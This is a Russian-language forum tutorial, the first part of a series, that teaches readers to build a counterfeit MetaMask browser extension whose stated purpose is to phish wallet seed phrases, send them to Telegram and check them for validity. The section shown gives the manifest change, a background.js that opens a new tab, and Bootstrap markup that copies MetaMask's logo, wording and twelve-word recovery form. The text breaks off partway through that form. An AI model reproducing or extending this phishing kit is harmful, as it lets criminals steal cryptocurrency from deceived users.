Статья Фишинг расширение Metamask. Пи#дим и проверяем сидку на валид. Часть первая - верстка.

TR77 · 20.07.2023

Автор TR77
Источник https://xss.pro/threads/93530/

Думаю что тема фишингов нравится обитателям форума и я решил выбрать не менее популярный вариант фишинга это фишинг крипты или же сид фразы по которой можно достать крипту во всех EVM сетях. В этот раз мы будем делать не сайт, а именно расширение практически точную копию оригинального metamask'а. Помимо того что мы будем отсылать seed фразу в телегу, мы еще ее будем проверять на валид, чтоб мамонты не слали нам всякую чепуху, да и в принципе чтоб было больше доверия к расширению.
Я в прошлой статье уже рассказывал как с нуля сделать расширение Hello World, но для тех кто читает это в первый раз в кратце расскажу еще раз. Это будет первый этап создания расширения.

Этап первый
Как и в создании сайта так и в расширениях нужно с чего-то начинать, пустая страница, пустое расширение, логика думаю ясна. Чтоб скачать пустое расширение нужно зайти на Github, написать chrome extension. Первый в выдаче будет репозиторий от GoogleChrome

Заходим в него. В описании README видим таблицу со списком расширений-примеров, нам нужно первое tutrial.hello-world. Оно и будет нашим стартом.

chrome-extensions-samples/functional-samples/tutorial.hello-world at main · GoogleChrome/chrome-extensions-samples

Chrome Extensions Samples. Contribute to GoogleChrome/chrome-extensions-samples development by creating an account on GitHub.

github.com

Скачиваем все эти четыре файла в папку на рабочий стол и открываем VsCode и эту папку в нем.
Далее заходим в Google Chrome, открываем вкладку chrome://extensions/, включаем Developer Mode, нажимаем кнопку Load unpacked и выбираем папку с нашим расширением, ту куда мы скачали 4 файла. По итогу расширение вхроме должно выглядеть так

Так-же оно должно появится в списке расширений

Второй этап. Кодим.
Сейчас расширение открывается как Popup( модальное окно ), нам это не совсем подходит. Когда скачиваешь в первый раз метамаск и нажимаешь иконку меты, то на секунду появляется попап , а потом открывается страничка в новой вкладке где уже запрашивается сидка. Делать появляение попапа на секунду мы делать не будем не вижу смысла, сделаем сразу чтоб расширение открывалось в новой вкладке.
Для этого обновим манифест. Напомню манифест это конфиг в хромовских расширениях.
Из того что нужно изменить это сделать action пустым.
"action": {},
и добавить service-worker'а, это js скрипт, который будет все время работать в фоновом режиме слушать клики и другие эвенты

"background": {
    "service_worker": "background.js"
  }

Создаем файл background.js и в него добавляем прослушивание эвента онклик на иконку расширение. то есть сюда

Будет запускаться функция при нажатии на иконку, а мы внутри пропишем чтоб открывалась уже новая вкладка c нашим фишингом.
И собственно код

JavaScript:

chrome.action.onClicked.addListener(function(tab) {
    // тут открытие
})

Открытие новой вкладки делается так

JavaScript:

chrome.tabs.create({url: chrome.runtime.getURL('hello.html')});

, то есть даем команду хрому открыть новую вкладку, а урл для вкладки мы получаем методом гетУрл, функция возвращает скорее всего айди расширения в системе хрома и добавляет к нему файл html'а который нужно октрыть в итоге урл выглядит примерно так: chrome-extension://hdbkgfabpdjpacpfglomnlpbckcocmbm/hello.html

Итоговый код background.js должен получится такой

JavaScript:

chrome.action.onClicked.addListener(function(tab) {
    chrome.tabs.create({url: chrome.runtime.getURL('hello.html')});
})

Сохраняем, обновляем расширение, нажимаем на его иконку и если новая влкадка открывается значит все работает.

Верстка фишинга
Я не мега про верстальщик поэтому использвать флексы с нуля гриды там всякие я не люблю, возьму за основу Bootstrap. Для тех кто не знает Bootstrap это CSS фреймворк или же "библиотека", ее подключаешь к html и с помощью классов class="" можно делать адаптивную "табличную" верстку, табличную в буквальном смысле понимания этого слова.
Начнем, заходим на https://getbootstrap.com/docs/5.3/getting-started/introduction/ и копируем код со второго шага.

Это заготовка или же начало для работы с бутстрпом.
Пойдем поэтапно и начнем с шапки (хедера).

Выбор языков добавлять не будем думаю он будет лишний на фише. Для начал добавим лого. Если проинспектировать код можно увидеть что в метамаске лого это не просто png картинка а svg'шка в виде кода, который можно скопировать что мы и сделаем. Его можно будет вставить на наш html фиш и лого отрисуется точно так же.

<svg height="30" viewBox="0 0 1311 242" width="162" xmlns="http://www.w3.org/2000/svg" class="onboarding-app-header__metafox-logo--horizontal"><g fill="none"><g fill="black" transform="translate(361 61)"><path d="m796.7 60.9c-6.8-4.5-14.3-7.7-21.4-11.7-4.6-2.6-9.5-4.9-13.5-8.2-6.8-5.6-5.4-16.6 1.7-21.4 10.2-6.8 27.1-3 28.9 10.9 0 .3.3.5.6.5h15.4c.4 0 .7-.3.6-.7-.8-9.6-4.5-17.6-11.3-22.7-6.5-4.9-13.9-7.5-21.8-7.5-40.7 0-44.4 43.1-22.5 56.7 2.5 1.6 24 12.4 31.6 17.1s10 13.3 6.7 20.1c-3 6.2-10.8 10.5-18.6 10-8.5-.5-15.1-5.1-17.4-12.3-.4-1.3-.6-3.8-.6-4.9 0-.3-.3-.6-.6-.6h-16.7c-.3 0-.6.3-.6.6 0 12.1 3 18.8 11.2 24.9 7.7 5.8 16.1 8.2 24.8 8.2 22.8 0 34.6-12.9 37-26.3 2.1-13.1-1.8-24.9-13.5-32.7z"></path><path d="m71.6 2.3h-7.4-8.1c-.3 0-.5.2-.6.4l-13.7 45.2c-.2.6-1 .6-1.2 0l-13.7-45.2c-.1-.3-.3-.4-.6-.4h-8.1-7.4-10c-.3 0-.6.3-.6.6v115.4c0 .3.3.6.6.6h16.7c.3 0 .6-.3.6-.6v-87.7c0-.7 1-.8 1.2-.2l13.8 45.5 1 3.2c.1.3.3.4.6.4h12.8c.3 0 .5-.2.6-.4l1-3.2 13.8-45.5c.2-.7 1.2-.5 1.2.2v87.7c0 .3.3.6.6.6h16.7c.3 0 .6-.3.6-.6v-115.4c0-.3-.3-.6-.6-.6z"></path><path d="m541 2.3c-.3 0-.5.2-.6.4l-13.7 45.2c-.2.6-1 .6-1.2 0l-13.7-45.2c-.1-.3-.3-.4-.6-.4h-25.4c-.3 0-.6.3-.6.6v115.4c0 .3.3.6.6.6h16.7c.3 0 .6-.3.6-.6v-87.7c0-.7 1-.8 1.2-.2l13.8 45.5 1 3.2c.1.3.3.4.6.4h12.8c.3 0 .5-.2.6-.4l1-3.2 13.8-45.5c.2-.7 1.2-.5 1.2.2v87.7c0 .3.3.6.6.6h16.7c.3 0 .6-.3.6-.6v-115.4c0-.3-.3-.6-.6-.6z"></path><path d="m325.6 2.3h-31.1-16.7-31.1c-.3 0-.6.3-.6.6v14.4c0 .3.3.6.6.6h30.5v100.4c0 .3.3.6.6.6h16.7c.3 0 .6-.3.6-.6v-100.4h30.5c.3 0 .6-.3.6-.6v-14.4c0-.3-.2-.6-.6-.6z"></path><path d="m424.1 118.9h15.2c.4 0 .7-.4.6-.8l-31.4-115.8c-.1-.3-.3-.4-.6-.4h-5.8-10.2-5.8c-.3 0-.5.2-.6.4l-31.4 115.8c-.1.4.2.8.6.8h15.2c.3 0 .5-.2.6-.4l9.1-33.7c.1-.3.3-.4.6-.4h33.6c.3 0 .5.2.6.4l9.1 33.7c.1.2.4.4.6.4zm-39.9-51 12.2-45.1c.2-.6 1-.6 1.2 0l12.2 45.1c.1.4-.2.8-.6.8h-24.4c-.4 0-.7-.4-.6-.8z"></path><path d="m683.3 118.9h15.2c.4 0 .7-.4.6-.8l-31.4-115.8c-.1-.3-.3-.4-.6-.4h-5.8-10.2-5.8c-.3 0-.5.2-.6.4l-31.4 115.8c-.1.4.2.8.6.8h15.2c.3 0 .5-.2.6-.4l9.1-33.7c.1-.3.3-.4.6-.4h33.6c.3 0 .5.2.6.4l9.1 33.7c.1.2.3.4.6.4zm-39.9-51 12.2-45.1c.2-.6 1-.6 1.2 0l12.2 45.1c.1.4-.2.8-.6.8h-24.4c-.4 0-.7-.4-.6-.8z"></path><path d="m149.8 101.8v-35.8c0-.3.3-.6.6-.6h44.5c.3 0 .6-.3.6-.6v-14.4c0-.3-.3-.6-.6-.6h-44.5c-.3 0-.6-.3-.6-.6v-30.6c0-.3.3-.6.6-.6h50.6c.3 0 .6-.3.6-.6v-14.4c0-.3-.3-.6-.6-.6h-51.2-17.3c-.3 0-.6.3-.6.6v15 31.9 15.6 37 15.8c0 .3.3.6.6.6h17.3 53.3c.3 0 .6-.3.6-.6v-15.2c0-.3-.3-.6-.6-.6h-52.8c-.3-.1-.5-.3-.5-.7z"></path><path d="m949.3 117.9-57.8-59.7c-.2-.2-.2-.6 0-.8l52-54c.4-.4.1-1-.4-1h-21.3c-.2 0-.3.1-.4.2l-44.1 45.8c-.4.4-1 .1-1-.4v-45c0-.3-.3-.6-.6-.6h-16.7c-.3 0-.6.3-.6.6v115.4c0 .3.3.6.6.6h16.7c.3 0 .6-.3.6-.6v-50.8c0-.5.7-.8 1-.4l50 51.6c.1.1.3.2.4.2h21.3c.4-.1.7-.8.3-1.1z"></path></g><g stroke-linecap="round" stroke-linejoin="round" transform="translate(1 1)"><path d="m246.1.2-101.1 75 18.8-44.2z" fill="#e17726" stroke="#e17726"></path><g fill="#e27625" stroke="#e27625" transform="translate(2)"><path d="m10.9.2 100.2 75.7-17.9-44.9z"></path><path d="m207.7 174.1-26.9 41.2 57.6 15.9 16.5-56.2z"></path><path d="m.2 175 16.4 56.2 57.5-15.9-26.8-41.2z"></path><path d="m71 104.5-16 24.2 57 2.6-1.9-61.5z"></path><path d="m184 104.5-39.7-35.4-1.3 62.2 57-2.6z"></path><path d="m74.1 215.3 34.5-16.7-29.7-23.2z"></path><path d="m146.4 198.6 34.4 16.7-4.7-39.9z"></path></g><g fill="#d5bfb2" stroke="#d5bfb2" transform="translate(76 198)"><path d="m106.8 17.3-34.4-16.7 2.8 22.4-.3 9.5z"></path><path d="m.1 17.3 32 15.2-.2-9.5 2.7-22.4z"></path></g><path d="m108.7 160.6-28.6-8.4 20.2-9.3z" fill="#233447" stroke="#233447"></path><path d="m150.3 160.6 8.4-17.7 20.3 9.3z" fill="#233447" stroke="#233447"></path><g fill="#cc6228" stroke="#cc6228" transform="translate(49 128)"><path d="m27.1 87.3 5-41.2-31.8.9z"></path><path d="m128.9 46.1 4.9 41.2 26.9-40.3z"></path><path d="m153 .7-57 2.6 5.3 29.3 8.4-17.7 20.3 9.3z"></path><path d="m31.1 24.2 20.2-9.3 8.4 17.7 5.3-29.3-57-2.6z"></path></g><g fill="#e27525" stroke="#e27525" transform="translate(57 128)"><path d="m0 .7 23.9 46.7-.8-23.2z"></path><path d="m122 24.2-.9 23.2 23.9-46.7z"></path><path d="m57 3.3-5.3 29.3 6.7 34.6 1.5-45.6z"></path><path d="m88 3.3-2.8 18.2 1.4 45.7 6.7-34.6z"></path></g><path d="m150.3 160.6-6.7 34.6 4.8 3.4 29.7-23.2.9-23.2z" fill="#f5841f" stroke="#f5841f"></path><path d="m80.1 152.2.8 23.2 29.7 23.2 4.8-3.4-6.7-34.6z" fill="#f5841f" stroke="#f5841f"></path><path d="m150.9 230.5.3-9.5-2.6-2.2h-38.2l-2.5 2.2.2 9.5-32-15.2 11.2 9.2 22.7 15.7h38.9l22.8-15.7 11.1-9.2z" fill="#c0ac9d" stroke="#c0ac9d"></path><path d="m148.4 198.6-4.8-3.4h-28.2l-4.8 3.4-2.7 22.4 2.5-2.2h38.2l2.6 2.2z" fill="#161616" stroke="#161616"></path><g fill="#763e1a" stroke="#763e1a"><path d="m250.4 80.1 8.5-41.4-12.8-38.5-97.7 72.5 37.6 31.8 53.1 15.5 11.7-13.7-5.1-3.7 8.1-7.4-6.2-4.8 8.1-6.2z"></path><path d="m.1 38.7 8.6 41.4-5.5 4.1 8.2 6.2-6.2 4.8 8.1 7.4-5.1 3.7 11.7 13.7 53.1-15.5 37.6-31.8-97.7-72.5z"></path></g><g fill="#f5841f" stroke="#f5841f"><path d="m239.1 120-53.1-15.5 16 24.2-23.9 46.7 31.6-.4h47.2z"></path><path d="m73 104.5-53.1 15.5-17.7 55h47.1l31.6.4-23.9-46.7z"></path><path d="m145 131.3 3.4-58.6 15.4-41.7h-68.6l15.4 41.7 3.4 58.6 1.3 18.4.1 45.5h28.2l.1-45.5z"></path></g></g></g></svg>

Ну и Hello, world! можно убрать )

Чтоб лого не прилипал к стенкам странички его да и в принципе весь контент который будет внутри стоит обернуть в .container

Визуально он добавит только отступы по бокам, но этот див очень важен в бутстрапе, он основополагающая верстки.
Так же добавим небольшой отступ сверху с помощью класса .pt-3, что расшифровывается как padding-top 3, где 3 это как сила отступа

, в бутстрапе отступы и прочие вычисление измеряются не в пикселях, а в числах от 1 до 5, типа pt-1 pt-2 pt-3 pt-4 pt-5, под коробкой это уже будут в css стилях практически как пиксели только rem'ы, а rem имеют свою форумулу, да все не сильно просто

, но очень удобно

Визуально теперь все выглядит так

И для шапки я думаю нам этого вполне хватит.

Перейдем к телу нашего фиша, заголовки, описание и поля для ввода seed фразы

Внутри контейнера создадим див впишем в него две единички для наглядности. Чтоб сделать такой же большой внутренний отступ для "тела" пропишем диву инлайново margin: 0 10rem;. Инлайново мы прописываем потому что бутстраповских отступов нам не хватит максимум вроде 3 или 4 rem что-то такое. Теперь уже с помощью бутстрапа добавим внутренний отступ p-3 чтоб контент, который будет уже внутри заголовки и поля не прилипали к стенкам дива. И mt-5 чтоб небольшой отступ сверху. Добавим еще два класса .rounded и .border. Rounded - закруглит края, а border - добавит небольшую серенькую границу диву. Итог будет такой.

А код такой

HTML:

<div class="rounded border p-3 mt-5" style="margin: 0 10rem">
        11
</div>

Забыл добавить чтоб еще в диве был класс .text-center, чтоб заголовок и описание, которые мы сейчас впихнем отцентрировались.

Удаляем единички и добавляем заголовок "Access your wallet with your Secret Recovery Phrase" в H1. После слова your добавляем <br/>, чтоб сделать снос строки как на оригинале. Чтоб заголовок смотрелся максимально жирным как на ориге пропишем ему дополнительный класс .fw-bold расшифровывается как font-weight: bold

Копируем описание "MetaMask cannot recover your password. We will use your Secret Recovery Phrase to validate your ownership, restore your wallet and set up a new password. First, enter the Secret Recovery Phrase that you were given when you created your wallet. " и добавляем его в тег p. Размер шрифта выходит сильно большим поэтому добавим класс fs-4 расшифровывается font-size.

Выходит такой результат

Код:

HTML:

<div class="rounded border p-3 text-center mt-5" style="margin: 0 10rem">
    <h1 class="fw-bold">Access your wallet with your <br /> Secret Recovery Phrase</h1>
    <p class="fs-4">MetaMask cannot recover your password. We will use your Secret Recovery Phrase to validate your ownership, restore your wallet and set up a new password. First, enter the Secret Recovery Phrase that you were given when you created your wallet. </p>
</div>

Не будем давать мамонту выбор кол-ва вводимых слов, а просто добавим синенький алерт о том что он может crtl + v вставить свою сид фразу

А у бутстрапа уже есть готовый этот компонент

Нужно только заменить текст на "You can paste your entire secret recovery phrase into any field"

HTML:

<div class="alert alert-primary d-flex align-items-center" role="alert">
<svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" class="bi bi-info-circle-fill" viewBox="0 0 16 16">
            <path d="M8 16A8 8 0 1 0 8 0a8 8 0 0 0 0 16zm.93-9.412-1 4.705c-.07.34.029.533.304.533.194 0 .487-.07.686-.246l-.088.416c-.287.346-.92.598-1.465.598-.703 0-1.002-.422-.808-1.319l.738-3.468c.064-.293.006-.399-.287-.47l-.451-.081.082-.381 2.29-.287zM8 5.5a1 1 0 1 1 0-2 1 1 0 0 1 0 2z"/>
          </svg>
  <div>
    An example alert with an icon
  </div>
</div>

Но нужно сделать пару изменений, между div и svg надо добавить   (пробел в HTML) чтоб иконка info не прилипала к тексту. Далее диву, внутри которого текст нужно добавить классы w-100 и text-center. W-100 это width: 100%;

растягивает его на всю ширину alert'а, а text-center центрирует текст.

Итог у нас получается такой

Код:

HTML:

<div class="alert alert-primary d-flex align-items-center mx-5" role="alert">
    <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" class="bi bi-info-circle-fill" viewBox="0 0 16 16">
        <path d="M8 16A8 8 0 1 0 8 0a8 8 0 0 0 0 16zm.93-9.412-1 4.705c-.07.34.029.533.304.533.194 0 .487-.07.686-.246l-.088.416c-.287.346-.92.598-1.465.598-.703 0-1.002-.422-.808-1.319l.738-3.468c.064-.293.006-.399-.287-.47l-.451-.081.082-.381 2.29-.287zM8 5.5a1 1 0 1 1 0-2 1 1 0 0 1 0 2z"/>
    </svg>
    &nbsp;
    <div class="text-center w-100">
        You can paste your entire secret recovery phrase into any field
    </div>
</div>

Перейдем к полям для ввода seed фразы

Эту конструкцию можно представить как таблицу, где в каждом ряду по три колонки, теперь можно вспомнить мои слова про табличную верстку в бутстрапе. Собственно и давайте верстать таблицу.
Чтоб создать ряд, в котором будут наши будущие три колонки мы создаем новый див и задаем ему класс .row. Внутри нашего row создадим три новых дива для визуала впихнем в них по единичке (1) и зададим по классу .col.

Теперь мы видим три дива которые встали в один ряд равномерно.
Код:

HTML:

<div class="row">
    <div class="col">1</div>
    <div class="col">1</div>
    <div class="col">1</div>
</div>

Создадим теперь внутри одной колонки span (внутри будет нумерация каждого поля ввода от 1 до 12 ), input с классом form-control этот класс задаст симпатичные стили для инпута, и в конце иконку перечеркнутого глаза

<svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" class="bi bi-eye-slash" viewBox="0 0 16 16">
  <path d="M13.359 11.238C15.06 9.72 16 8 16 8s-3-5.5-8-5.5a7.028 7.028 0 0 0-2.79.588l.77.771A5.944 5.944 0 0 1 8 3.5c2.12 0 3.879 1.168 5.168 2.457A13.134 13.134 0 0 1 14.828 8c-.058.087-.122.183-.195.288-.335.48-.83 1.12-1.465 1.755-.165.165-.337.328-.517.486l.708.709z"/>
  <path d="M11.297 9.176a3.5 3.5 0 0 0-4.474-4.474l.823.823a2.5 2.5 0 0 1 2.829 2.829l.822.822zm-2.943 1.299.822.822a3.5 3.5 0 0 1-4.474-4.474l.823.823a2.5 2.5 0 0 0 2.829 2.829z"/>
  <path d="M3.35 5.47c-.18.16-.353.322-.518.487A13.134 13.134 0 0 0 1.172 8l.195.288c.335.48.83 1.12 1.465 1.755C4.121 11.332 5.881 12.5 8 12.5c.716 0 1.39-.133 2.02-.36l.77.772A7.029 7.029 0 0 1 8 13.5C3 13.5 0 8 0 8s.939-1.721 2.641-3.238l.708.709zm10.296 8.884-12-12 .708-.708 12 12-.708.708z"/>
</svg>

И чтоб сделать это все дело так же один в ряд, а не в столбик добавим колонке класс d-flex и для центрирования по вертикали добавим еще класс align-items-center.
Чтоб инпут не был таким длинным добавим ему класс w-50 width 50%, в половину уменьшаем ширину.
И дополнительно колонке еще один класс justify-content-center чтоб все три элемента так-же центрировать. Много центрирования

.
Итог должен быть такой:

Код:

HTML:

<div class="col d-flex align-items-center justify-content-center">
    <span>1.</span>
    <input type="text" class="form-control w-50">
    <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" class="bi bi-eye-slash" viewBox="0 0 16 16">
        <path d="M13.359 11.238C15.06 9.72 16 8 16 8s-3-5.5-8-5.5a7.028 7.028 0 0 0-2.79.588l.77.771A5.944 5.944 0 0 1 8 3.5c2.12 0 3.879 1.168 5.168 2.457A13.134 13.134 0 0 1 14.828 8c-.058.087-.122.183-.195.288-.335.48-.83 1.12-1.465 1.755-.165.165-.337.328-.517.486l.708.709z"/>
        <path d="M11.297 9.176a3.5 3.5 0 0 0-4.474-4.474l.823.823a2.5 2.5 0 0 1 2.829 2.829l.822.822zm-2.943 1.299.822.822a3.5 3.5 0 0 1-4.474-4.474l.823.823a2.5 2.5 0 0 0 2.829 2.829z"/>
        <path d="M3.35 5.47c-.18.16-.353.322-.518.487A13.134 13.134 0 0 0 1.172 8l.195.288c.335.48.83 1.12 1.465 1.755C4.121 11.332 5.881 12.5 8 12.5c.716 0 1.39-.133 2.02-.36l.77.772A7.029 7.029 0 0 1 8 13.5C3 13.5 0 8 0 8s.939-1.721 2.641-3.238l.708.709zm10.296 8.884-12-12 .708-.708 12 12-.708.708z"/>
    </svg>
</div>

Продублируем эту колонку два раза, пустые колонки две удалим, и поменяем нумерацию 1 2 3.

Код:

HTML:

<div class="row">
    <div class="col d-flex align-items-center justify-content-center">
        <span>1.</span>
        <input type="text" class="form-control w-50">
        <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" class="bi bi-eye-slash" viewBox="0 0 16 16">
            <path d="M13.359 11.238C15.06 9.72 16 8 16 8s-3-5.5-8-5.5a7.028 7.028 0 0 0-2.79.588l.77.771A5.944 5.944 0 0 1 8 3.5c2.12 0 3.879 1.168 5.168 2.457A13.134 13.134 0 0 1 14.828 8c-.058.087-.122.183-.195.288-.335.48-.83 1.12-1.465 1.755-.165.165-.337.328-.517.486l.708.709z"/>
            <path d="M11.297 9.176a3.5 3.5 0 0 0-4.474-4.474l.823.823a2.5 2.5 0 0 1 2.829 2.829l.822.822zm-2.943 1.299.822.822a3.5 3.5 0 0 1-4.474-4.474l.823.823a2.5 2.5 0 0 0 2.829 2.829z"/>
            <path d="M3.35 5.47c-.18.16-.353.322-.518.487A13.134 13.134 0 0 0 1.172 8l.195.288c.335.48.83 1.12 1.465 1.755C4.121 11.332 5.881 12.5 8 12.5c.716 0 1.39-.133 2.02-.36l.77.772A7.029 7.029 0 0 1 8 13.5C3 13.5 0 8 0 8s.939-1.721 2.641-3.238l.708.709zm10.296 8.884-12-12 .708-.708 12 12-.708.708z"/>
        </svg>
    </div>
    <div class="col d-flex align-items-center justify-content-center">
        <span>2.</span>
        <input type="text" class="form-control w-50">
        <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" class="bi bi-eye-slash" viewBox="0 0 16 16">
            <path d="M13.359 11.238C15.06 9.72 16 8 16 8s-3-5.5-8-5.5a7.028 7.028 0 0 0-2.79.588l.77.771A5.944 5.944 0 0 1 8 3.5c2.12 0 3.879 1.168 5.168 2.457A13.134 13.134 0 0 1 14.828 8c-.058.087-.122.183-.195.288-.335.48-.83 1.12-1.465 1.755-.165.165-.337.328-.517.486l.708.709z"/>
            <path d="M11.297 9.176a3.5 3.5 0 0 0-4.474-4.474l.823.823a2.5 2.5 0 0 1 2.829 2.829l.822.822zm-2.943 1.299.822.822a3.5 3.5 0 0 1-4.474-4.474l.823.823a2.5 2.5 0 0 0 2.829 2.829z"/>
            <path d="M3.35 5.47c-.18.16-.353.322-.518.487A13.134 13.134 0 0 0 1.172 8l.195.288c.335.48.83 1.12 1.465 1.755C4.121 11.332 5.881 12.5 8 12.5c.716 0 1.39-.133 2.02-.36l.77.772A7.029 7.029 0 0 1 8 13.5C3 13.5 0 8 0 8s.939-1.721 2.641-3.238l.708.709zm10.296 8.884-12-12 .708-.708 12 12-.708.708z"/>
        </svg>
    </div><div class="col d-flex align-items-center justify-content-center">
    <span>3.</span>
    <input type="text" class="form-control w-50">
    <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" class="bi bi-eye-slash" viewBox="0 0 16 16">
        <path d="M13.359 11.238C15.06 9.72 16 8 16 8s-3-5.5-8-5.5a7.028 7.028 0 0 0-2.79.588l.77.771A5.944 5.944 0 0 1 8 3.5c2.12 0 3.879 1.168 5.168 2.457A13.134 13.134 0 0 1 14.828 8c-.058.087-.122.183-.195.288-.335.48-.83 1.12-1.465 1.755-.165.165-.337.328-.517.486l.708.709z"/>
        <path d="M11.297 9.176a3.5 3.5 0 0 0-4.474-4.474l.823.823a2.5 2.5 0 0 1 2.829 2.829l.822.822zm-2.943 1.299.822.822a3.5 3.5 0 0 1-4.474-4.474l.823.823a2.5 2.5 0 0 0 2.829 2.829z"/>
        <path d="M3.35 5.47c-.18.16-.353.322-.518.487A13.134 13.134 0 0 0 1.172 8l.195.288c.335.48.83 1.12 1.465 1.755C4.121 11.332 5.881 12.5 8 12.5c.716 0 1.39-.133 2.02-.36l.77.772A7.029 7.029 0 0 1 8 13.5C3 13.5 0 8 0 8s.939-1.721 2.641-3.238l.708.709zm10.296 8.884-12-12 .708-.708 12 12-.708.708z"/>
    </svg>
    </div>
</div>

Продублируем теперь этот ряд четыре раза и поменяем в каждой колонке нумерацию. Так же дополнительно каждому рядому добавим класс mb-3 margin-bottom 3 чтоб ряды не слипались друг к другу.

Результат

Код:

JavaScript:

<div class="row mb-3">
    <div class="col d-flex align-items-center justify-content-center">
        <span>1.</span>
<input type="text" class="form-control w-50">
    <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" class="bi bi-eye-slash" viewBox="0 0 16 16">
        <path d="M13.359 11.238C15.06 9.72 16 8 16 8s-3-5.5-8-5.5a7.028 7.028 0 0 0-2.79.588l.77.771A5.944 5.944 0 0 1 8 3.5c2.12 0 3.879 1.168 5.168 2.457A13.134 13.134 0 0 1 14.828 8c-.058.087-.122.183-.195.288-.335.48-.83 1.12-1.465 1.755-.165.165-.337.328-.517.486l.708.709z"/>
            <path d="M11.297 9.176a3.5 3.5 0 0 0-4.474-4.474l.823.823a2.5 2.5 0 0 1 2.829 2.829l.822.822zm-2.943 1.299.822.822a3.5 3.5 0 0 1-4.474-4.474l.823.823a2.5 2.5 0 0 0 2.829 2.829z"/>
                <path d="M3.35 5.47c-.18.16-.353.322-.518.487A13.134 13.134 0 0 0 1.172 8l.195.288c.335.48.83 1.12 1.465 1.755C4.121 11.332 5.881 12.5 8 12.5c.716 0 1.39-.133 2.02-.36l.77.772A7.029 7.029 0 0 1 8 13.5C3 13.5 0 8 0 8s.939-1.721 2.641-3.238l.708.709zm10.296 8.884-12-12 .708-.708 12 12-.708.708z"/>
                    </svg>
</div>
<div class="col d-flex align-items-center justify-content-center">
    <span>2.</span>
<input type="text" class="form-control w-50">
    <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" class="bi bi-eye-slash" viewBox="0 0 16 16">
        <path d="M13.359 11.238C15.06 9.72 16 8 16 8s-3-5.5-8-5.5a7.028 7.028 0 0 0-2.79.588l.77.771A5.944 5.944 0 0 1 8 3.5c2.12 0 3.879 1.168 5.168 2.457A13.134 13.134 0 0 1 14.828 8c-.058.087-.122.183-.195.288-.335.48-.83 1.12-1.465 1.755-.165.165-.337.328-.517.486l.708.709z"/>
            <path d="M11.297 9.176a3.5 3.5 0 0 0-4.474-4.474l.823.823a2.5 2.5 0 0 1 2.829 2.829l.822.822zm-2.943 1.299.822.822a3.5 3.5 0 0 1-4.474-4.474l.823.823a2.5 2.5 0 0 0 2.829 2.829z"/>
                <path d="M3.35 5.47c-.18.16-.353.322-.518.487A13.134 13.134 0 0 0 1.172 8l.195.288c.335.48.83 1.12 1.465 1.755C4.121 11.332 5.881 12.5 8 12.5c.716 0 1.39-.133 2.02-.36l.77.772A7.029 7.029 0 0 1 8 13.5C3 13.5 0 8 0 8s.939-1.721 2.641-3.238l.708.709zm10.296 8.884-12-12 .708-.708 12 12-.708.708z"/>
                    </svg>
</div><div class="col d-flex align-items-center justify-content-center">
<span>3.</span>
<input type="text" class="form-control w-50">
    <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" class="bi bi-eye-slash" viewBox="0 0 16 16">
        <path d="M13.359 11.238C15.06 9.72 16 8 16 8s-3-5.5-8-5.5a7.028 7.028 0 0 0-2.79.588l.77.771A5.944 5.944 0 0 1 8 3.5c2.12 0 3.879 1.168 5.168 2.457A13.134 13.134 0 0 1 14.828 8c-.058.087-.122.183-.195.288-.335.48-.83 1.12-1.465 1.755-.165.165-.337.328-.517.486l.708.709z"/>
            <path d="M11.297 9.176a3.5 3.5 0 0 0-4.474-4.474l.823.823a2.5 2.5 0 0 1 2.829 2.829l.822.822zm-2.943 1.299.822.822a3.5 3.5 0 0 1-4.474-4.474l.823.823a2.5 2.5 0 0 0 2.829 2.829z"/>
                <path d="M3.35 5.47c-.18.16-.353.322-.518.487A13.134 13.134 0 0 0 1.172 8l.195.288c.335.48.83 1.12 1.465 1.755C4.121 11.332 5.881 12.5 8 12.5c.716 0 1.39-.133 2.02-.36l.77.772A7.029 7.029 0 0 1 8 13.5C3 13.5 0 8 0 8s.939-1.721 2.641-3.238l.708.709zm10.296 8.884-12-12 .708-.708 12 12-.708.708z"/>
                    </svg>
</div>
</div>

<div class="row mb-3">
    <div class="col d-flex align-items-center justify-content-center">
        <span>4.</span>
<input type="text" class="form-control w-50">
    <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" class="bi bi-eye-slash" viewBox="0 0 16 16">
        <path d="M13.359 11.238C15.06 9.72 16 8 16 8s-3-5.5-8-5.5a7.028 7.028 0 0 0-2.79.588l.77.771A5.944 5.944 0 0 1 8 3.5c2.12 0 3.879 1.168 5.168 2.457A13.134 13.134 0 0 1 14.828 8c-.058.087-.122.183-.195.288-.335.48-.83 1.12-1.465 1.755-.165.165-.337.328-.517.486l.708.709z"/>
            <path d="M11.297 9.176a3.5 3.5 0 0 0-4.474-4.474l.823.823a2.5 2.5 0 0 1 2.829 2.829l.822.822zm-2.943 1.299.822.822a3.5 3.5 0 0 1-4.474-4.474l.823.823a2.5 2.5 0 0 0 2.829 2.829z"/>
                <path d="M3.35 5.47c-.18.16-.353.322-.518.487A13.134 13.134 0 0 0 1.172 8l.195.288c.335.48.83 1.12 1.465 1.755C4.121 11.332 5.881 12.5 8 12.5c.716 0 1.39-.133 2.02-.36l.77.772A7.029 7.029 0 0 1 8 13.5C3 13.5 0 8 0 8s.939-1.721 2.641-3.238l.708.709zm10.296 8.884-12-12 .708-.708 12 12-.708.708z"/>
                    </svg>
</div>
<div class="col d-flex align-items-center justify-content-center">
    <span>5.</span>
<input type="text" class="form-control w-50">
    <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" class="bi bi-eye-slash" viewBox="0 0 16 16">
        <path d="M13.359 11.238C15.06 9.72 16 8 16 8s-3-5.5-8-5.5a7.028 7.028 0 0 0-2.79.588l.77.771A5.944 5.944 0 0 1 8 3.5c2.12 0 3.879 1.168 5.168 2.457A13.134 13.134 0 0 1 14.828 8c-.058.087-.122.183-.195.288-.335.48-.83 1.12-1.465 1.755-.165.165-.337.328-.517.486l.708.709z"/>
